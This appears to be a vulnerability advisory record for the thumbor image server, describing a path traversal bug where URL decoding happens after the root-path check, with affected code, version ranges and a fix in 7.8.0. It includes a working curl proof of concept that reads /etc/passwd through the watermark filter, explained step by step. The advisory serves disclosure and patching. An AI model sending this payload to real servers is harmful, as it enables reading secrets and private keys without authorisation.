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PYSEC-2026-3618

Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36
VLAI
Details

The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.

Affected code

thumbor/loaders/file_loader.py lines 28-49:

async def load(context, path):
    file_path = join(
        context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
    )
    file_path = abspath(file_path)
    inside_root_path = file_path.startswith(         # Security check
        abspath(context.config.FILE_LOADER_ROOT_PATH)
    )
    result = LoaderResult()
    if not inside_root_path:
        result.error = LoaderResult.ERROR_NOT_FOUND
        result.successful = False
        return result

    if not exists(file_path):
        file_path = unquote(file_path)               # unquote AFTER check!

    if exists(file_path) and isfile(file_path):
        with open(file_path, "rb") as source_file:
            ...

The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).

PoC

# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'

Flow: 1. %252e%252e arrives at Tornado, decoded to %2e%2e 2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader 3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/... 4. abspath() sees %2e%2e as literal dir name (no dots to resolve) 5. startswith(ROOT) = True (passes check) 6. exists() returns False (literal %2e%2e dir doesn't exist) 7. unquote() converts %2e%2e to .. 8. OS resolves .. → reads files outside ROOT

Prerequisites

  • LOADER = thumbor.loaders.file_loader (or file_loader_http_fallback)
  • ALLOW_UNSAFE_URL = True (this is the default)
  • watermark/frame filters are enabled by default (in BUILTIN_FILTERS)

Impact

Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Impacted products
Name purl
thumbor pkg:pypi/thumbor
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "thumbor",
        "purl": "pkg:pypi/thumbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.1.3",
        "4.10.0",
        "4.10.1",
        "4.10.2",
        "4.10.3",
        "4.11.0",
        "4.11.1",
        "4.12.0",
        "4.12.1",
        "4.12.2",
        "4.4.1",
        "4.5.3",
        "4.5.4",
        "4.6.0",
        "4.7.0",
        "4.7.1",
        "4.8.0",
        "4.8.1",
        "4.8.2",
        "4.8.3",
        "4.8.4",
        "4.8.5",
        "4.8.6",
        "4.9.0",
        "4.9.1",
        "5.0.0",
        "5.0.0rc1",
        "5.0.0rc2",
        "5.0.1",
        "5.0.2",
        "5.0.3",
        "5.0.4",
        "5.0.5",
        "5.0.6",
        "5.1.0",
        "5.2.0",
        "5.2.1",
        "6.0.0",
        "6.0.0b1",
        "6.0.0b2",
        "6.0.0b3",
        "6.0.0b4",
        "6.0.0b5",
        "6.0.1",
        "6.0.2",
        "6.1.0",
        "6.1.1",
        "6.1.2",
        "6.1.3",
        "6.1.4",
        "6.1.5",
        "6.2.0",
        "6.2.1",
        "6.3.0",
        "6.3.1",
        "6.3.2",
        "6.4.0",
        "6.4.1",
        "6.4.2",
        "6.4.3",
        "6.5.0",
        "6.5.1",
        "6.5.2",
        "6.6.0",
        "6.6.1",
        "6.7.0",
        "6.7.1",
        "6.7.2",
        "6.7.3",
        "6.7.4",
        "6.7.5",
        "6.7.6",
        "7.0.0",
        "7.0.0a1",
        "7.0.0a2",
        "7.0.0a3",
        "7.0.0a4",
        "7.0.0a5",
        "7.0.0b1",
        "7.0.1",
        "7.0.10",
        "7.0.11",
        "7.0.12",
        "7.0.2",
        "7.0.3",
        "7.0.5",
        "7.0.6",
        "7.0.7",
        "7.0.8",
        "7.0.9",
        "7.1.0",
        "7.1.1",
        "7.1.2",
        "7.2.0",
        "7.2.1",
        "7.3.0",
        "7.3.1",
        "7.3.2",
        "7.4.0",
        "7.4.1",
        "7.4.2",
        "7.4.3",
        "7.4.4",
        "7.4.5",
        "7.4.6",
        "7.4.7",
        "7.5.0",
        "7.5.1",
        "7.5.2",
        "7.6.0",
        "7.7.0",
        "7.7.1",
        "7.7.2",
        "7.7.3",
        "7.7.4",
        "7.7.5",
        "7.7.6",
        "7.7.7"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53502",
    "GHSA-cj54-hpcc-gj6h"
  ],
  "details": "The file_loader performs `unquote()` on the file path AFTER the `abspath() + startswith()` security check. An attacker can use percent-encoded path traversal sequences (`%2e%2e` for `..`) that pass the security check as literal directory names, but are then decoded to actual `..` traversal sequences.\n\n## Affected code\n\n`thumbor/loaders/file_loader.py` lines 28-49:\n```python\nasync def load(context, path):\n    file_path = join(\n        context.config.FILE_LOADER_ROOT_PATH.rstrip(\"/\"), path.lstrip(\"/\")\n    )\n    file_path = abspath(file_path)\n    inside_root_path = file_path.startswith(         # Security check\n        abspath(context.config.FILE_LOADER_ROOT_PATH)\n    )\n    result = LoaderResult()\n    if not inside_root_path:\n        result.error = LoaderResult.ERROR_NOT_FOUND\n        result.successful = False\n        return result\n\n    if not exists(file_path):\n        file_path = unquote(file_path)               # unquote AFTER check!\n\n    if exists(file_path) and isfile(file_path):\n        with open(file_path, \"rb\") as source_file:\n            ...\n```\n\nThe watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies `quote()` in `imaging.py` line 37).\n\n## PoC\n\n```bash\n# Read /etc/passwd via watermark filter path traversal\n# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,\n# file_loader unquote decodes %2e to .\ncurl \u0027http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg\u0027\n```\n\nFlow:\n1. `%252e%252e` arrives at Tornado, decoded to `%2e%2e`\n2. Watermark filter passes `%2e%2e/%2e%2e/.../etc/passwd` to file_loader\n3. `join(ROOT, \u0027%2e%2e/...\u0027)` = `ROOT/%2e%2e/...`\n4. `abspath()` sees `%2e%2e` as literal dir name (no dots to resolve)\n5. `startswith(ROOT)` = True (passes check)\n6. `exists()` returns False (literal `%2e%2e` dir doesn\u0027t exist)\n7. `unquote()` converts `%2e%2e` to `..`\n8. OS resolves `..` \u2192 reads files outside ROOT\n\n## Prerequisites\n\n- `LOADER = thumbor.loaders.file_loader` (or `file_loader_http_fallback`)\n- `ALLOW_UNSAFE_URL = True` (this is the default)\n- watermark/frame filters are enabled by default (in BUILTIN_FILTERS)\n\n## Impact\n\nArbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.",
  "id": "PYSEC-2026-3618",
  "modified": "2026-08-04T13:36:38.077608Z",
  "published": "2026-08-04T11:34:46.521252Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thumbor/thumbor/security/advisories/GHSA-cj54-hpcc-gj6h"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thumbor/thumbor/commit/3b986d13677b30fe6651c8c72ebb25957ac0a40d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thumbor/thumbor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thumbor/thumbor/releases/tag/7.8.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/thumbor"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cj54-hpcc-gj6h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53502"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Thumbor has path traversal via post-validation URL decoding bypass in file_loader"
}



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